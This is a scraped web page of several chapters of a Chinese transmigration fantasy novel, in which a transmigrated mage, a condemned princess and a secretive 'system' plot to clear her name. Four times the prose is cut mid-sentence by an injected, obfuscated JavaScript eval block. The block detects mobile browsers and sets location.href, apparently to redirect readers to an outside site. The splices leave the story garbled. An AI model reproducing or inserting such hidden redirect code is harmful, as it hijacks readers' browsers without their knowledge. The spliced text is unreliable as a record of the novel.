蜃楼想着事情,接下苹果,几乎是下意识地将一整颗苹果掰成两半,把稍大的那块递了出去。 可是手举了半天没人接下,他没来得及困惑,忽地回过神来,想起他现在是邪恶的大魔法师蜃楼、分享食物这种事情太ooc了——可惜为时已晚。 希娅停顿了一会儿,接过他手里的半颗苹果,轻飘飘地说:“蜃楼,你的变化真的很大。” 蜃楼:“……” 他没接话,咬了一口苹果,至少维持一下表面的冷酷形象。 希娅看着他,轻轻地抛出惊雷一般的话语来:“你以前从来不吃任何带有甜味的水果,还说这是只有‘贱民’才会喜爱的食物。” 蜃楼噎住了。 苹果还在嘴边,吃也不是,不吃也不是。 “嗯,而且,我知道哦。”希娅不紧不慢地咬了一口苹果,边嚼边说,“哥哥上交的那些证据,是蜃楼放在我房间里的。” 证据? 蜃楼恍惚了一下,立刻回忆起来了—— 在希娅成为死刑犯的结局里,最终的决定性证据是二皇子希恩向法庭提交的。 他在希娅寝居的宫殿内找到了大量与不明组织往来的证明。他们笃定这是她联络刺客、安排刺杀的信件,就那样将希娅推上了断头台。 说实话,过程有些儿戏。法庭甚至没派人鉴定过那些信件的来源……当然不排除有游戏省略剧情的原因在,但这条路线收尾得的确非常突兀。 可她说这些,是为了什么呢?试探他的态度? 蜃楼拿着苹果,目光飘到希娅手边发亮的水果刀上。说起来,希娅差一点就被蜃楼害死了。可她第一次见到他的时候,表现得好像有点冷静过头了…… “这个世界真神奇啊。”希娅感慨道,苹果将她的脸颊塞得鼓鼓囊囊的,“人体能变成黄金,灵魂能变成飞鸟。布局者推翻棋盘,还将他曾经不屑一顾的垃圾,从烈火里解救回来……” 蜃楼听出她意有所指,放下苹果,无奈地看着她。 “你是在跟我算账吗?”他说,“你不是垃圾,希娅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832207|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果没有你,歌登已经死在我手下了。你救了他。” “诶?”希娅支起下巴,歪着头看他,“我还以为你会因此唾弃我呢。那背叛者呢,也不是吗?” 蜃楼说:“都不是。恰恰相反,你是个很好的人。” 他牵连菲特的儿子,在商店时被失去理智的菲特迁怒,差点就被杀死在那里;对于希娅,蜃楼则是导致她背负死罪的直接原因。可她能保持那样友好的态度(哪怕是装出来的),心平气和地跟他交流……蜃楼想了想,将其归结于希娅善良、沉着的本性。 虽然有时嘴上说的话狠了一些,但也不能苛责,毕竟她在很不好的环境里长大了。 以后慢慢纠正回来就好。 希娅没想到他会这样回答,眨了眨眼睛,漆黑的瞳仁里倒映出壁炉的亮光。 “为什么要救我?”她问道。 蜃楼如实告诉她:“因为没得选。我救你有我自己的目的。” “什么目的?”希娅好奇地说。 蜃楼也不瞒她,直接回答:“让你坐上女王的位置。” 希娅撇了撇嘴,露出兴致缺缺的表情。想来这目的还是很符合蜃楼个性的,只会叫她扫兴。 蜃楼见她这样,暗自松了口气。 刚才对他的态度那么好,还以为刚见面就掉马了呢…… “以前我不理解,为什么大家都那么向往那个位置。”希娅吃掉手中的苹果,又偏过头去,从矮柜上拿起被蜃楼放在那边的另一半苹果,咬了一口,“但是,从刑场逃出来之后,好像有点明白了。” 蜃楼顿了一下,想起系统说的,“希娅正是为此而生的”。 它早就猜到希娅心态的转变吗? 在普通剧情里,希娅并没有表现出如希恩、亚纶那样对王位的偏执。她更像是个被蜃楼操纵,推到台前的傀儡,政途表现接近一台冷酷的机器,只在亲手扳倒两个哥哥之后,流露过一点悲伤的神色。 可是,现在…… 蜃楼看向希娅。她垂着眼睛,漆黑的瞳仁中闪烁着火光。白皙的皮肤同样是一片温和的暖色,目光却冰寒无比,掺杂着某种“不惜一切代价也要做成”的野心。 他从BE中救出希娅,将那只本该在烈火中灭亡的蝴蝶救下来了。 现在,蝴蝶要扇动她的翅膀,引出新的风暴。 “权力真是一种好用的东西,不是吗?”希娅说着,抬起她纤细的右手,“想让谁死,谁就能死……哪怕她干净清白,从没做过什么错事。” 蜃楼喉间一紧,又不受控制地往希娅那边靠近了一些。 “我们互相合作吧,蜃楼先生。” 她轻轻捏住蜃楼的下巴,将剩余的苹果送进他的嘴里,轻轻地说:“我也想坐上那个位置。” “好想知道,到底是什么样的东西,才能让哥哥们不惜互相残杀也要得到……” 蜃楼吃了一惊,在失去禁锢之后,立刻掩着嘴唇向后退去。却见希娅看着他,心情仿佛又好起来,唇角挂笑,啪啪地拍了两下手心。 “这个表现可不行。”她说,“我们以前还做过更亲密的事情呢。忘记了吗?” 25. 第 25 章 好消息:希娅醒了,身体恢复神速,还愿意主动争夺王位了! 坏消息:她也知道这个颈环…… 只有开启“魔力观测”状态才能看见的,挂在蜃楼脖颈上的颈环,与希娅的无名指戒,显然属于同一种魔法。鉴于其利好希娅的性质,想来也不会是蜃楼自己施下的;可如果说是希娅偷摸干的……就更不太可能了,原主不会给她下手的机会。 蜃楼想不明白,询问希娅,她表示:“不知道、但像养了只很厉害的小狗一样。真开心”。然后就哼着歌离开了。 …… 被留在房间内的蜃楼,现在却连闭眼小憩的闲情都没有了。 他想了想,去敲系统:“别装死了,有事问你。” 过了一会儿,系统才弱弱地回应他:“怎么了,大人?” 蜃楼问它:“我在开启‘魔力观测’的时候,注意到蜃楼的脖子上有个黑色的颈环。另一头是连接到希娅身上的,你知道这是怎么回事吗?” 系统顿了一下,疑惑地重复了一遍:“颈环……?” 看来是不知道了。 蜃楼叹了口气,从床上下来,走到一面镜子前。他对着镜子,开启“魔力观测”的状态,黑色颈环随即在他颈间出现。那条连接着他与希娅的、锁链形状的微光也静静地漂浮在空气中,指向门扉的方向。 如果顺着它走下去,应该是能找到希娅的吧。 但现在没有这个必要,蜃楼只是在确认系统能否借他的视角看到这条颈环。答案倒并不出人意外,系统在短暂的沉默之后,尴尬地说:“哎呀。什么都看不见耶……” 蜃楼:…… “在矿洞的时候,我没控制住自己,差点杀死了歌登。”他静下心来,尽可能简洁明了地向它解释,“是希娅出现,阻止了我。她也能看到它,还能通过颈环限制我的行动。” 系统沉吟片刻,说道:“听着有点像傀儡术。但是那样的话,我也能看到痕迹才对。只有你们两人才能看到,一时半会儿好像也真找不出什么记载……” 蜃楼的心沉下来,正想问问它有什么应对的措施,却听系统“昂”了一声,试探地开口:“大人你说,这有没有可能是蜃楼跟希娅之间的小情趣啊?……喔,说起来,希娅醒来之后,没有找你麻烦吧?” 蜃楼深吸一口气:“你……认真的?刚才她来找我,你没看到吗?” 系统打了个哈哈,说:“我也不是时时刻刻都看着你的。咱俩都给彼此一点个人空间,共事的过程才会更愉快嘛。” 蜃楼沉默了一会儿,最终还是抛出了这个他从开始就想问的问题:“你其实不是那种真正的‘系统’吧……” 他虽然只认识它一个自称系统的家伙,但凭他对“系统”的刻板印象,这位并不十分符合。 从个性方面,它俨然可说是一个活生生的、性格恶劣又鲜明的人;从能力方面,与其说它是系统,用图书管理员来形容似乎更加恰当…… 在见证这个世界的魔法之后,蜃楼产生了一点疑问: 这个系统,有没有一种可能,其实是个通过魔法在他脑中占据了一席之地的大魔法师? …… 要真是那样的话,可太糟糕了。 系统没有即刻回答他。可疑的沉默在两人间持续了一阵。就在蜃楼以为自己等不到答复的时候,它竟然爽快地承认了:“对。” 蜃楼愣了一下,连忙追问它:“那你到底是什么?” “这重要吗?”系统反问他,“我和你是同一边的人,知道这一点就足够了。与其纠结这种没意义的问题,不如想想下一步该怎么做。希娅是不可能以死刑犯的身份回到王庭的,你准备怎么解决这个问题?” 一番连珠炮般的提问堵得蜃楼一时间说不出话来,偏偏戳在了他如今最头疼的点上。 游戏中的希娅可不是死刑开局的。她作为被找回的皇女,在正常路线中与两个哥哥展开竞争,一切的基础在于她正统的身份。 现在的希娅因为谋害兄长,不但被剥夺了弗洛瓦皇室的头衔,就连行刑时台上呼喝的名字,也是“克莉希娅”,没有后面的皇室姓氏了。 到底该怎么回去,他没想好合适的措施。 “我在想了。”蜃楼无可奈何地说,“但是,你就没有什么想说的吗?歌登镇的事,和希娅夺嫡也没有关系。为什么让我去破坏蜃楼留下的东西?” 这一回,轮到系统沉默了。 “你知道我可能会死在这里。”蜃楼停顿一下,继续说了下去,“如果希娅死了,任务就失败了。可如果我死了,又会发生什么?这个问题,总不是没意义的了吧。” 过了一会儿,系统才含糊地说:“蜃楼的身体,没那么容易死的啦。” 这个反应,看来是蜃楼死他也会死了。 蜃楼撇了撇嘴,垂下眼睛,做起最消极的设想:“说不定我死了,你就会再去选一个人来,继续完成所谓的‘任务’。这个世界的本质不是游戏,你也不是单纯想找人来拯救希娅,只是借别人之手达成自己的目的……” “哎。”系统沉默许久,幽幽地叹了口气,“何必这么现实呢?” 蜃楼抹了把脸,认真地说:“突然被塞来这里已经很让人不爽了。要不是这次差点丢了命,我才懒得管你……起码让我知道我要做的事有什么风险,行吗?” “行,行,大人。以后我一定提前给您预警。”系统狗腿地应承他几句,又犯起嘀咕来,“刚来的时候好像也没这样啊?怎么感觉跟那个蜃楼越来越像了……” “你说谁呢?”蜃楼忍无可忍。 系统不说话了,又开始装死。 见它这样,他也懒得纠缠下去。想搞清楚的事已经明白了,系统虽然没有明说,但那样逃避的态度,已经能够说明问题——如果他在这个世界死了,“钟灵”也就死了,不会有重来一次的机会。 歌登镇这样冒险的事,不能毫无准备地做第二次了。 想到这里,蜃楼忽然感觉到一阵疲惫。拖沓着脚步回到床上躺下,才发现窗外的天已经蒙蒙亮了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849615|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一些镇民已经起床。昨夜没去矿洞的也听说了消息,干完了自己手头上的工作,围在广场里议论起来。 蜃楼这间房的地理位置极好,推开窗便能看到广场的喷泉。在喷泉附近嚼舌根的镇民交谈的声音,当然也听得一清二楚。 “听说了吗?老歌登疯了!金矿都是骗人的,什么‘黄金少女’,都是假的!” “怎么可能!金子我都花出去了,难道黄金也是假的?” “可不是!说是镇子里的黄金都是假的,雪莉正在四处回收呢。我当时就觉得这事儿不对劲,天底下哪有那样的便宜……” “呸,那明明是真黄金!我看是那女人见歌登疯了,想独占镇子里剩下的金子……断人财路如杀人父母!老歌登好歹还给我钱呢。要我把金子交给她?做梦!老子现在就收拾行李……” …… 蜃楼听得心烦,拿枕头捂住脸,试图催眠自己入睡。 或许是这些天的事太多,他真的有些累了。即便很难感受到困倦,还是在昏沉中缓慢地失去了意识,而后,做了一个古怪的梦。 在梦中,他不是“钟灵”,只是那个脾气古怪的蜃楼而已。 他梦见自己用传送阵悄无声息地潜入希娅的宫殿,将那些“证据”放在她枕下。 他则于暗中窥视,高高在上地见证东窗事发、希恩拿着证据找上花园法庭……法庭对“蜃楼”展开的调查被迫中断;又因为“铁证如山”,他们很快便宣判了希娅的罪名。 当希娅被推上断头台的那天,蜃楼来到了一个更为神秘的地方。那里的主事人不问他的身份,径直将他迎进了最豪华的房间里。 紫色的天鹅绒沙发散发着花朵的香气、暗红色的绒布窗帘用缎带扎起。甜美而醇香的红酒倒入黄金酒杯,两个容姿艳丽的女侍伏在蜃楼膝前,表情谄媚地将美酒与葡萄送进他嘴里。 沙发的另一边,有一颗金色的投影石,正在播放市场前的画面。 “先生,您是我见过最美丽的人了……”女侍捧着葡萄,望向他的目光中满是痴迷,“要留下来过夜吗?今夜的‘斗兽场’,可是有整座俱乐部里最可怕的野兽——复眼骑士阿忒菈在呢。” 蜃楼目不转睛地盯着投影石,对于女侍的邀请,只是轻轻地蹙起眉头。 “我让你说话了吗?”他温声说着,手里捏着的酒杯开始发出咔咔的响声,“贱民。” 女侍吓了一跳,连忙闭上嘴巴,低头服侍这个阴晴不定的男人,再不敢逾越了。 投影石中,瘦小的希娅已经被押上了断头台。 在这场残忍的梦境里,没有那场突如其来的暴雨,也没有贸然闯入的大魔法师。刽子手放下铡刀,冰冷的撞击声回荡在市场前。娇小的、可怜的希娅,就这样与其他死刑犯一同,被砍下头颅,装进了竹筐里。 画面闪烁,一切倏忽陷入黑暗,戛然而止。只有金色的微光凭空浮现,组成一串方正的简体字—— 不自量力的背叛者。 这是真正的第四号坏结局。 26. 第 26 章 蜃楼从梦中惊醒,察觉眼角有些湿润。伸手一拭,发现自己竟在睡梦中流泪了。 他从床上坐起来,手指在那片泪痕上反复碾压,表情逐渐沉重起来。 这不是他的眼泪。 …… 这是“蜃楼”,在看见希娅人头落地后流下的泪水。 他发觉自己越来越搞不懂他在想什么了。明明是自己亲手将希娅送上断头台的,为什么在她死后感到悲伤?说到底,他为什么非要希娅夺嫡不可呢? 蜃楼想不明白,更不明白自己怎么会做这样的梦。他把系统敲起来询问,它的回答是:“当一个魔法师的魔力强大到某种地步,他的魔力就可以承载跨越时空的情感与记忆。鉴于我们前一天刚收回蜃楼的力量,或许,这不只是一个梦境呢。” 蜃楼思索片刻,忽然想起什么,翻身下床。 他知道接下来该去哪里了。 梦中的房间,是他刚穿来时身处的场所。 女侍提到的“复眼骑士”,毋庸置疑,正是游戏的第二位男主阿忒菈。 马坎男爵所运营的俱乐部名为“女神之血”,除去皮肉交易,更以血腥暴力的“斗兽场”闻名地下。若希娅没有出卖蜃楼,蜃楼会将“女神之血”的罪证交给她;袭击大皇子亚纶的刺客会被坐实为俱乐部的奴隶,最终走上断头台的人不是希娅,而是俱乐部背后的马坎男爵。 在这条路线中,“女神之血”被皇室查封,人去楼空。俱乐部打手阿忒菈也因此失去工作,被希娅捡走,成为了真正的骑士。 但在希娅顶罪的结局里,阿忒菈依然在俱乐部内工作。鉴于服侍他的侍者提到了“复眼骑士”,已经可以断定,蜃楼身处的那个房间,就在“女神之血”的内部。 要洗清希娅的罪名,就需要找到马坎男爵的罪证。必须回到“女神之血”,查清大皇子遇刺案的真相…… 他穿好衣服、戴好斗篷,走出房间正准备下楼,脖颈忽然一紧。 拉扯的力量再现,蜃楼被迫停下脚步,转过头去。 “不要出门。”希娅站在他身后,右手微微抬起,目光瞥向窗外,“外面来人了。” 蜃楼循着她的视线望过去,看见窗外天色大亮,广场中已然集结起一队卫兵。盔甲制式与他在皇城看见的相同,胸前刻着玫瑰与荆棘的图样——那是弗洛瓦的纹章。 “马坎调来的人,他知道歌登疯了。”她咬着拇指,提起马坎男爵,声音中有些冷意,“从昨夜到今早,一直有人在收拾行李离开这里。雪莉·怀恩没有控制他们,通风报信的人就在其中。” 蜃楼动作一顿,蹙起眉头:“那我们暴露了吗?” 收拾完原蜃楼留下的烂摊子,他心力交瘁,一时忘记隐蔽行踪,就这样在歌登镇住了一晚。 不过,昨夜的小镇完全乱成一锅粥了,应该不会有人注意到他们才对…… 希娅看了他一眼,说:“没有,他们忙着‘帮’雪莉回收黄金呢。” 话音刚落,一阵匆忙的脚步声响了起来。季诺气喘吁吁地跑上楼来,手里攥着几张纸,紧张地说:“蜃楼先生!你看这个……” 他递来几张发黄的纸,上面画着某人的画像,文字不是中文,蜃楼看不懂,但能辨别是几张通缉令。 ……不过呢。 蜃楼拿起纸,放在那边抱着胳膊的希娅身边,对比起来。 画像上的少女黑发黑瞳,唇红齿白,脸颊上婴儿肥未消,身穿漂亮的华服,活脱脱一个童话故事里的白雪公主。而他面前的希娅,瘦削的瓜子脸掐不出肉,仅有一双深不见底的黑瞳镶嵌在上面,虽然漂亮,却是憔悴、病弱更甚,看着就让人心疼…… 这样的差别,真的有人能认出来吗? 希娅注意到他的动作,拿过那张悬赏令看了看,讽刺地说:“哦,这是我十五岁的画像呢。” 她现在已经二十岁了。 季诺担心道:“这些悬赏令已经在镇子里贴起来了。虽然没有蜃楼先生的,但暴露也是早晚的问题。我们还是快些离开吧……啊对了,还有,雪莉小姐让我给您这些——” 他背上多了个木箱,是昨夜将米迪送回他父母身边时、村民们送给他的谢礼。季诺早间背着箱子出了趟门,摘了些附近的药草,又四下走动一番,已经了解到事情的全貌。 少年对蜃楼的敬意又多了几分。 现在,季诺放下箱子,从中取出一座黄金雕像,递给他。 “她说,你或许会需要的。”季诺说,“从造物溯源,说不定能找到罪魁祸首的线索。” …… 蜃楼沉默了。 该说吗?罪魁祸首就是他自己这种事……算了,就这样吧。 潜伏在他脑内的系统忽然开口:“收下吧。这种黄金可以被你吸收的,其中说不定还藏着什么线索呢。这种剂量,不会危及生命。” 蜃楼接过雕像,季诺却没停下动作。他在木箱中翻翻找找,拿出几件斗篷递给他:“这也是雪莉小姐托我带给您的,作为您救下歌登镇的回礼……她现在被弗洛瓦来的人缠住了,脱不开身,所以叫我帮忙带来。” 那是几条做工精致的羊毛布斗篷,用金色的绣线收了边。款式简单,但质量远胜过蜃楼随手扯的窗帘布了。 蜃楼受宠若惊地接下来,又看着季诺从箱子里取出一瓶葡萄酒,说:“这是怀恩庄园酿的酒,几年前留下来的存货了。是雪莉小姐的弟弟送给您的……还有这个,是菲特先生的,他知道您救了他,之前对您那副态度,心里过意不去……” 过了一会儿,季诺收拾好他的木箱重新背上,舒了口气,看向蜃楼:“您看,您做的好事,大家都记在心里呢!可惜,我身上实在没什么像样的礼物了……不过……” 此时的蜃楼一手拿着雕像、另一只手挂着斗篷,斗篷里包了瓶葡萄酒,脸上还多了副崭新的单片镜,看起来就像一棵高大的圣诞树。希娅看着他,扭过头,“噗嗤”一声,非常不厚道地笑出了声。 季诺从脖子上摘下一枚挂坠,踮起脚,小心地为蜃楼戴上。 “这是我一直带着的护身符,很灵的。”季诺说着,露出歉疚的表情,“歌登镇的事,和格拉斯王室脱不了关系。您不单救了我,还救了这座小镇……这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868576|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我唯一能代表王室送给您的谢礼了。” 蜃楼顿了一下:“可你……” 歌登上贡的黄金也没花到季诺头上。 他何必揽下王室的责任? 他还想说下去,希娅却从他怀里抽走那瓶葡萄酒,轻声说道:“收下吧,他一直惦记自己没能为格拉斯王室做点什么呢。” 蜃楼蹙起眉头,最终还是什么也没说。 * “黄金少女”消失了,那些由魔力幻化出的黄金却依然存在。雪莉似乎想回收它们交给蜃楼,但马坎男爵从中横插一脚,坚持将它们上交给弗洛瓦皇室。 怀恩家早就没落了。雪莉连歌登都无法抗衡,如今面对强硬的马坎男爵,更没有一点办法。 全副武装的弗洛瓦卫兵接管了歌登镇,挨家挨户地回收歌登留下的假黄金。镇前的路牌被撤下,埋藏在其下的少女骸骨也被挖了出来。魔法解除后,骸骨失去黄金的性质,变成了风化的白骨,被雪莉带了回去。 那是她妹妹雪柔的遗骸。 作为黄金少女的最后一环——造物术的“施法对象”,雪柔被分散地埋在了小镇的东南西北各部。每当“再塑节”接近,便会成为物理坐标,启动结界,将不速之客挡在镇外。 时隔四年,她终于能够入土为安。 然而,尽管最迫切的矛盾已经解决,阴云却依旧笼罩在小镇上方。 失去了金矿、也不再有怀恩家酒业的镇民们,需要另谋出路,才能养活自己、缴上弗洛瓦的国税。但那已经和蜃楼无关了,他没有逗留太久,当天清晨便离开了镇子。 一行人回到神殿内部,稍作修整,开始讨论起今后的对策。 “从这里到霍斯菲尔德大约需要一个月的脚程。”希娅抱着陶碗,不紧不慢地说,“走大路有卫兵把守,比较麻烦。走小路要绕过山林,环境恶劣。我们没有帐篷,得吃点苦头……” 她说完,抿了一口碗中的红酒,润了润嗓子。 在知晓歌登镇事件的全貌后,她不能苟同怀恩家那两位年轻人的作为。一个顺理成章地自我沉沦、完全是个懦夫;一个又缺乏勇气,连歌登那样的草包也能委身。 小镇这次的转机全在蜃楼一个外人的身上,这很难评价。 换做是她,与其指望别人,宁可自己烧了这座镇子,同归于尽…… 不过,一码归一码。他们家留下来的酒,确实是好喝的。 她小酌一口,抬起眼睛,忽然看见蜃楼正面无表情地看着她,眼中有些跃跃欲试的情绪。 “我可以画传送阵。”他现在是时刻谨记自己大魔法师的身份了,“只要有那里的坐标。” 霍斯菲尔德是马坎男爵的领地,“女神之血”也坐落于那里。 他们要去那里寻找能够洗清希娅冤屈的证据。 希娅却似笑非笑地看了他一会儿,才开口说:“传送阵每次启动,都会引起大范围的魔力波动。在荒郊野岭没人管你,城里可不一定。尤其是霍斯菲尔德这样的城市,我们会暴露的,笨蛋。” 蜃楼:…… 他郁闷地闭嘴了。 27. 第 27 章 歌登镇事了,蜃楼一行人现在,正在赶路。 这几天天气不是很好。他们避开人群,走更荒芜的山路。一至傍晚,光线便阴暗下来,草丛中偶尔窜出几个流民袭击他们,都被蜃楼赶走了。 “弗洛瓦不是很有钱吗?”蜃楼收起他那根路上随手捡的树枝,想起豪华精致的达木兰宫,不解道,“这里也不是原格拉斯的领土了,为什么还有这么多流民……” 希娅轻笑一声,意味深长地说:“有钱也是王庭的钱,和普通人有什么关系。当年弗洛瓦的骑士兵临城下,你猜格拉斯王室在做什么?” 蜃楼不解地看向她:“还能做什么,守城吗?” “才不是呢。”希娅否定道,“他们打开了城门,任由士兵进城屠戮平民百姓。自己则是在宫殿里用金杯金碟摆酒设宴,妄图与弗洛瓦和谈……” 蜃楼愣住了,下意识向季诺看去。游戏中对格拉斯王室的描述不多,他以季诺的品行推断,还以为格拉斯王室不会差到哪儿去呢。 他还是太天真了。 彼时,季诺正在为偶遇的受伤流民包扎伤口。听见希娅的话,也只是微微垂下眼睛,没有多说什么。 蜃楼顿了一下,忽然转过头问希娅:“你怎么知道的?” 说起格拉斯亡国的那段时间,希娅应该还被封闭在“女神之血”里。哪儿来的机会知道这些? 希娅偏头看了他一眼,漆黑的眼睛宛如一片深海,叫人捉摸不透。蜃楼看着她,心里想起通缉令上那个娇憨可爱的少女来。 如果没经历过那些乱七八糟的事情,她本来也应该是个无忧无虑的公主啊…… “你教给我的。忘了吗?”希娅看着他的眼睛,一字一句地说,“你说,所有王公贵族都是这样令人作呕的货色。我呢,身体里流着与他们一样的血……却又自甘堕落,更是垃圾中的垃圾。” 蜃楼眯起眼睛,脑袋里飞快地闪过一个似曾相识的画面。在启程之前,他吸收了季诺带来的雕像。系统说,这样少量的魔力不会为他带来一段完整的记忆,但会在时机合适时让他产生“似曾相识”的感觉,就像现在的情况。 那幅画面中,瘦小的希娅遍体鳞伤,正端坐在书桌前,颤着手写字。 她的手腕上,沟沟壑壑的伤口看得让人触目惊心。 而他——也就是蜃楼本尊,则抱着胳膊,在一旁神情冰冷地开口:“克莉希娅,记住了,这个世界的王公贵族都是这样的货色……” 等等。就这句话而言,蜃楼竟然还挺像个反集中王权的斗士……? “好啦,希娅。”此时,季诺站起身来,温声打断希娅,他已经将那些受伤的流民包扎好了,“我们先找个营地吧,你和蜃楼先生都需要好好休息。” 蜃楼将思绪从回忆中抽离出来。他在蜃楼的记忆里看见希娅手腕上错综的伤口,现在下意识向希娅的手腕望去,发现那里如今缠上一条白色的绷带,已经看不出什么来了。 希娅注意到他的视线,将手腕向后收了收,若无其事地说:“好吧,我刚才在这附近看见一条河……” * 时间很快来到夜晚。 用树枝和枯草搭成的临时帐篷并不保暖,好在队里有个现成的魔法师蜃楼大人。他只消念念咒,无尽的魔力便能在空气中交织成一片半透明的屏障,将冬日的寒风与萧瑟都格挡在外了。 尽管如此,床却不能用魔法复刻,只能就地取材。 枕头是草叶,被子是衣裳。抬头是不见天花板的,唯有一片漆黑混沌的夜空…… 这其实是很糟糕的环境了。 可对希娅而言,却是她几年来难得一个能够放松下来的晚上,不敢有更多奢求。 有人睡下了,均匀的呼吸声传来,为夜晚平添一份令人安心的静谧。希娅斜倚在枝杈搭建的墙边,眉间微蹙,倏然睁开了眼睛。 她捂住肩膀,环视周围的环境。倒没看见蜃楼,只有季诺酣睡着,一副毫无防备的样子。希娅没吵他,安静地站起身,循流水声摸到了邻近的河流。 她后背的伤口裂开了。 那是希恩拷问她时留下的痕迹。她这位哥哥看着正人君子,却知道什么样的手段能让一个人求生不得、求死不能。希娅有幸讨教,后背的伤痕她看不到,只有日夜不息的疼痛在提醒她—— 她已经彻底失去安于现状的资格了。 血液渗出来,浸透纱布,染红她的衬衣。希娅蹙着眉头,隔着衣服将纱布拆解下来,想借河水清理一番,忽然听见身后传来枯枝断裂的声音。 …… 有人来了。 一双冰冷的手掩住她的口鼻,男人沙哑的声音从她身后传来,浑浊的吐息扑打在耳边,让希娅紧紧地蹙起眉头:“哟呵,今天真是走了运。出来撒泡尿,还能碰上这么俏的小姑娘!” “小妹妹,叔叔不为难你,只要你别发出声音……” 这一带盘踞着逃窜的流民,其中不乏亡命之徒。她身后这位,显然正是其中一员。 希娅垂下眼睛,目光扫过河岸,停在几块尖锐的卵石上。那把半米长的园艺剪刀实在不方便随身携带,否则她不会给这种人近身的机会。可要吟诵咒语,还得让他放心地松开手才行。 希娅冷静下来,拍了拍流民的手腕,示弱般抬起双手。 她背后的伤口受到牵动,泛起细密的疼痛。希娅垂目忍耐,额角却不可避免地沁出些许冷汗来。 她现在感觉十分烦躁。 “这才懂事嘛!”男人松开手,夺过希娅手中染血的绷带,一边将她的手腕缠绕起来,一边絮絮叨叨地说,“这年头啊,是个人都不容易……能不能活到明天都不知道,还不如抓住当下好好快活呢。” 希娅转头盯着他,再开口,语气凉薄又嘲讽:“所以,这就是你选择当一条公狗的理由?” 男人动作一顿,脸上泛起赤红的怒意。他“呸”了一声,骂了句羞辱的话,将沾满了脏污的手举得高高的,就要在希娅的脸颊上落下;而希娅冷着脸启唇,轻声颂唱的咒语念到一半,忽然察觉到什么,停了下来。 她没有出手。 可下一刻,男人两眼一翻,竟直直地倒了下去。 在他身后,白发魔法师悄然现身。他抱着胳膊,神色冷峻,眼底是久违又熟悉的憎恶颜色。这让希娅一时间有些恍惚——她想起那个将她送上绞刑架的蜃楼了,少女抿着嘴唇摸了摸胳膊,不动声色地向后退了一步。 但她很快又反应过来了。 他眼里的憎恶,好像不是对她的…… 她看着蜃楼蹲下身去,金色的瞳仁微微发光。他没有杀死这个男人,却不知用了什么手段,让他倒在地上动弹不得,只能惊恐地看着他。 “今天还怪冷的,你就沿着这条河慢慢游回去吧。”蜃楼低声说道,温润的声线里埋着彻骨的冰寒,“回去之后,把管不住的下半身剁了,免得再祸害别人。” 话音落下,男人的目光逐渐变得混沌起来。过了一会儿,他竟直直站起身,如傀儡一般,头也不回地跳进了河里。 蜃楼这才转头看向希娅。他目光里的憎恶烟消云散,却也不是这段日子里淡淡的、仿佛和谁都无关的神情。希娅默不作声,只感觉到他的视线在她身上细细地扫过一遍,最后停留在她的后背上。 “他没把你怎么样吧?”他走过来,按住希娅的肩膀,将她的身体转过去,仔细观察她的后背,清冽的薄荷香气随着他的动作逸散开来,“要出来怎么没和我说……这一带晚上很危险的。” 希娅抿着嘴唇,神色不虞,却依旧任他动作:“别小看我啊……没有你,我都已经把他杀死了。” 蜃楼没说什么,大约是怔住了,在短暂的沉默之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876539|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,忽然轻轻地笑了一声。 那不是以往的蜃楼会发出的、愉悦而恶劣的低笑,而是一种颇为无可奈何的,带些安慰意味的笑声。这实在是太离奇了,以至于希娅差些以为自己产生了幻觉,她几乎是从没见过蜃楼这样笑的——可这个人…… 她想回过头去看看他的样子,可伤口的疼痛又很快让她清醒过来。希娅咬住嘴唇,一动不动地站在原地,等待蜃楼的回音。 “哪怕有我在,你也可以杀了他。”她听见蜃楼的声音在她背后响起来,无悲无喜,却无比真挚,“希娅,你是个好孩子……你手软了。” …… 希娅蹙起眉头,感觉心脏在他吐出某个词语的同时重重地一跳,仿佛要跃出胸腔。她终于是忍无可忍了、想转过身去质问他,蜃楼却依然牢牢地按着她的肩膀,只轻轻地说了一句:“再等一等。” 与此同时,一股微热的暖意顺着希娅的脊柱攀上后背,像大树伸开枝丫,缓慢又不容抗拒地将她伤痕累累的后背包裹起来。 